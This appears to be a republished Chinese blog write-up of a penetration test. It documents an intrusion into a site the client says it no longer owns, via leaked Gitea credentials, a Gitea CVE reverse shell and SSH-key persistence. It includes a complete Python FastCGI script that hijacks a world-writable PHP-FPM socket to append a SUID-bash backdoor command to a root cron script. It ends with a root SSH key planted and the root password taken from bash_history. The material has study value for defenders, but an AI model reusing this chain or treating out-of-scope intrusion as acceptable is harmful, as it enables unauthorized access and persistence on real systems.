记一次曲折的渗透测试经历"

admin 2026-10-22 14:36:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

记一次曲折的渗透测试经历

BR
BR

菜鸟学信安

2026年10月16日 08:30
重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

作者:BR

原文:https://xz.aliyun.com/news/92744

起源

最初在完成一次客户交代的渗透测试任务时,偶然发现那么一个站点,里面的内容不是那么的“健康”。和客户沟通得知,该站点早已废弃,无论是域名还是服务器已均与客户无关。

前期打点

本来在日常测试中,要是打偏了也就收手了不浪费时间,更何况还是个 404

但是在对其进行前期信息收集时发现,存在 git 源码泄露!本着来都来了,看一眼再走也不亏

除了本身的源码,其中/.git/config 泄露了更有意思的东西:

哇,居然是 gitea 仓库的账密,直接访问目标登录:

成功登录,而且还是后台管理员!可以审计代码,但是站点实际部署源码和 gitea 中又有些出入,没有成功直接 getshell,看来只能止步于此了......

真的只能止步于此了吗???

初步立足(git shell)

我开始也确实没有更多思路了,将这个站点搁置了好一阵子,直到最近新爆出来了个 gitea 的漏洞:CVE-2026-60004

只有拥有 gitea 账号,并且 gitea 版本低于 1.27.1 即可,该站点完美符合条件,由此拿下反弹 shell:

虽然脚本会执行报错(因为没有回显超时了),但是命令已经成功执行,获取初始立足点。

写入 ssh 公钥,获取更稳定的 shell

echo\"<your_public_key_type> <your_public_key>\" >> ~/.ssh/authorized_keys

成功写入了 authorized\_keys 还没完,还有第二关,ssh 监听端口并不是默认的 22

但是我们不是 root,没有权限直接去查看 ssh 的配置信息,但可以从另外的角度来推测,查看端口监听情况:

ss -tlnup

经过测试,19908 是 ssh 的监听端口,用用户名和密钥连上 SSH,至此获取到了 git 用户的稳定 shell !

权限提升(root shell)

然后就该尝试提权了,这里算是卡的最久的一部分了。
最近不是爆出来挺多 linux 提权 CVE 嘛,肯定首先先是想到拿新 CVE 打,发现打不通,这时再回看系统信息:

好家伙,3.10 版本内核的老古董了,2026 系列的新内核 CVE 是基本上没戏了。
转头看看老版本的大杀器 CVE-2016-5195 ,但是很遗憾,系统修复了,同样的 Pwnkit、Baron Samedit 也都被打了补丁。

各类像是 SUID,系统计划任务等常规提权手段,包括用 PEASS-ng 和 LinEnum 进行相关扫描,要么是没权限修改,要么被打了补丁,很长一段时间一筹莫展......第一次发现不升级系统居然反而更安全了......

想着这个站都是 vibe coding 来的,不应该没什么疏漏,于是打开了 pspy 监听进程,期待有什么新发现......

事实上,真的让我发现新东西了:

有些可惜的是,我们需要 www 权限才能对他修改,我们能否横向到 www 用户呢?
这里我开始的想法是,这是宝塔面板托管的站,我们 git 用户可以读取站点源码,代码审计后直接进行侧方打击,直取 www 用户:

但是很遗憾,这些站点源码都比较简陋,但正好是因为简陋,反而找不到什么攻击点了......

正在一筹莫展之际,在 AI 的提示下,发现了全局可写的 PHP-FPM Unix Socket,且存在 SUID 标志位:

那么就可以通过劫持 PHP-FPM Unix Socket,向 PHP-FPM 发送 FastCGI 请求,以 www 用户身份执行 php 代码。
不过经过测试,存在 disable\_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,...

但是无所谓,能追加写入文件便已经足够了,直接给 key_检查关键词是否为空.sh 追加一条命令:

cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echodone

执行脚本:

#!/usr/bin/env python3import socket, os
SOCK = \"/tmp/php-cgi-72.sock\"
deffcgi_req(script_file_path, doc_root):\"\"\"通过 Unix Socket 向 PHP-FPM 发送 FastCGI 请求并返回解析后的响应\"\"\"    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)    sock.settimeout(5)    sock.connect(SOCK)
    params = {b\"SCRIPT_FILENAME\": script_file_path.encode(),b\"SCRIPT_NAME\": b\"/x.php\",b\"REQUEST_METHOD\": b\"GET\",b\"QUERY_STRING\": b\"\",b\"REQUEST_URI\": b\"/x.php\",b\"DOCUMENT_ROOT\": doc_root.encode(),b\"SERVER_PROTOCOL\": b\"HTTP/1.1\",b\"SERVER_SOFTWARE\": b\"nginx\",b\"REMOTE_ADDR\": b\"127.0.0.1\",b\"SERVER_NAME\": b\"x\",b\"REDIRECT_STATUS\": b\"200\",b\"HTTP_HOST\": b\"x\",    }
# 1. FCGI_BEGIN_REQUEST (type=1, role=RESPONDER)    begin_request = b\"\\x01\\x01\\x00\\x01\\x00\\x08\\x00\\x00\"    begin_request += b\"\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\"
# 2. 构造 FCGI_PARAMS    param_data = b\"\"for k, v in params.items():# Key 长度编码 (1字节 or 4字节)iflen(k) < 128:            param_data += bytes([len(k)])else:            param_data += bytes([0x80, 0, 0, 0]) + len(k).to_bytes(4, \"big\")# Value 长度编码 (1字节 or 4字节)iflen(v) < 128:            param_data += bytes([len(v)])else:            param_data += bytes([0x80, 0, 0, 0]) + len(v).to_bytes(4, \"big\")        param_data += k + v
    params_packet  = b\"\\x01\\x04\\x00\\x01\" + len(param_data).to_bytes(2, \"big\") + b\"\\x08\\x00\" + param_data    params_end     = b\"\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\"# 空 PARAMS 表示结束    stdin_end      = b\"\\x01\\x05\\x00\\x01\\x00\\x00\\x00\\x00\"# 空 STDIN 表示结束
# 3. 发送请求    sock.send(begin_request + params_packet + params_end + stdin_end)
# 4. 接收响应    response = b\"\"try:whileTrue:            data = sock.recv(4096)ifnot data:break            response += dataexcept:pass    sock.close()
# 5. 解析 FCGI 响应帧 (提取 FCGI_STDOUT 内容)    result = b\"\"    pos = 0while pos < len(response):if pos + 8 > len(response):break        fcgi_type       = response[pos + 1]        content_length  = int.from_bytes(response[pos+4:pos+6], \"big\")        padding_length  = response[pos+6]        pos += 8if fcgi_type == 6:      # FCGI_STDOUT            result += response[pos:pos+content_length]elif fcgi_type == 3:    # FCGI_END_REQUESTbreak        pos += content_length + padding_length
return result.decode(\"utf-8\", errors=\"replace\")
# ---- 攻击执行 ----
# Step 1: 写入 PHP payload 到 /dev/shm (git 用户可写)payload = '<?php $f=\"/www/wwwroot/xxx/site1_5/data/key_检查关键词是否为空.sh\";file_put_contents($f,\"\
cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo done\
\",FILE_APPEND);echo \"OK\";?>'tmp_file = \"/dev/shm/suid_payload.php\"withopen(tmp_file, \"w\") as f:    f.write(payload)
# Step 2: 通过 PHP-FPM (www 用户) 执行 PHP 脚本result = fcgi_req(tmp_file, \"/dev/shm\")print(\"Result:\", result)
# Step 3: 清理os.unlink(tmp_file)

成功追加,等待一会,获得 rootbash:

给 root 的 ssh 也写个公钥,就可以持续稳定的连接啦~

后续

然后翻 bash\_history 发现了 root 的密码

记一次曲折的渗透测试经历" 网络安全文章

记一次曲折的渗透测试经历"

本文记录了一次曲折的渗透测试实战经历。作者在测试中偶然发现废弃站点,通过git源码泄露获取gitea账号密码,利用CVE-2026-60004漏洞获取反弹shell,再通过劫持PHP-FPMUnixSocket发送FastCGI请求,以www用户身份执行代码,最终提权至root。文章展示了完整攻击链,包括信息收集、漏洞利用、权限提升等关键技术点,对渗透测试人员具有实战参考价值。
评论:0   参与:  0